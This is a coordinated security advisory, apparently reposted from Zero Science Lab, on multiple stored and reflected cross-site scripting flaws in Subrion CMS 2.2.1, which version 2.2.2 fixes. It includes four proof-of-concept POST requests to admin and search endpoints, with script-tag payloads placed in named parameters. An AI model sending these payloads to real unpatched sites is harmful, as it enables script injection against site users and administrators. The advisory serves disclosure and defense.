Subrion CMS 2.2.1 Cross Site Scripting

`  
Subrion CMS 2.2.1 Multiple Remote XSS POST Injection Vulnerabilities  
  
  
Vendor: Intelliants LLC  
Product web page: http://www.subrion.com  
Affected version: 2.2.1  
  
Summary: Subrion is a free open source content management system. It's  
written in PHP 5 and utilizes MySQL database. Subrion CMS can be easily  
integrated into your current website or used as a stand alone platform.  
It's extremely flexible and scalable php system that stands for a content  
management framework.  
  
Desc: Subrion CMS suffers from multiple stored and reflected cross-site  
scripting vulnerabilities. The issues are triggered when input passed via  
several parameters to several scripts is not properly sanitized before being  
returned to the user. This can be exploited to execute arbitrary HTML and  
script code in a user's browser session in context of an affected site.  
  
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)  
Apache 2.4.2 (Win32)  
PHP 5.4.4  
MySQL 5.5.25a  
  
  
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Vendor status:  
  
[05.09.2012] Vulnerabilities discovered.  
[06.09.2012] Contact with the vendor.  
[07.09.2012] Vendor responds asking more details.  
[07.09.2012] Sent detailed information to the vendor.  
[10.09.2012] Vendor creates patch.  
[11.09.2012] Vendor releases version 2.2.2 to address these issues.  
[11.09.2012] Coordinated public security advisory released.  
  
  
Advisory ID: ZSL-2012-5105  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5105.php  
  
  
05.09.2012  
  
  
---------------------------------------------------------------------------------------  
  
  
POST http://localhost/subrion/advsearch/ HTTP/1.1 (Reflected)  
  
cond[accounts][fullname]=LIKE  
cond[accounts][username]=LIKE  
f[accounts][fullname]="><script>alert(1);</script> ------------ [ Valid ]  
f[accounts][username]="><script>alert(2);</script> ------------ [ Valid ]  
items[]=accounts  
q=  
  
---------------------------------------------------------------------------------------  
  
  
POST http://localhost/subrion/admin/manage/blocks/add/ HTTP/1.1 (Stored)  
  
collapsible=1  
contents[en]=  
do=add  
external=0  
filename=  
goto=list  
id=  
multi_contents=test  
multi_language=1  
multi_title="><script>alert(3);</script> ------------ [ Valid ]  
name=test  
position=header  
save=Add  
show_header=1  
status=active  
sticky=1  
subpages[accounts]=  
subpages[view_account]=  
title[en]=  
type=plain  
  
---------------------------------------------------------------------------------------  
  
  
POST http://localhost/subrion/admin/manage/plans/add/ HTTP/1.1 (Reflected)  
  
cost="><script>alert(4);</script> ------------ [ Valid ]  
days="><script>alert(5);</script> ------------ [ Valid ]  
description[en]=test  
goto=list  
item=accounts  
save=Save  
status=active  
title[en]="><script>alert(6);</script> ------------ [ Valid ]  
usergroup=0  
  
---------------------------------------------------------------------------------------  
  
  
POST http://localhost/subrion/admin/manage/fields/group/add/ HTTP/1.1 (Reflected)  
  
add_fieldgroup=yes  
collapsed=0  
description[en]=test  
goto=list  
items_to_add[accounts]=accounts  
name="><script>alert(7);</script> ------------ [ Valid ]  
titles[en]="><script>alert(8);</script> ------------ [ Valid ]  
  
---------------------------------------------------------------------------------------  
`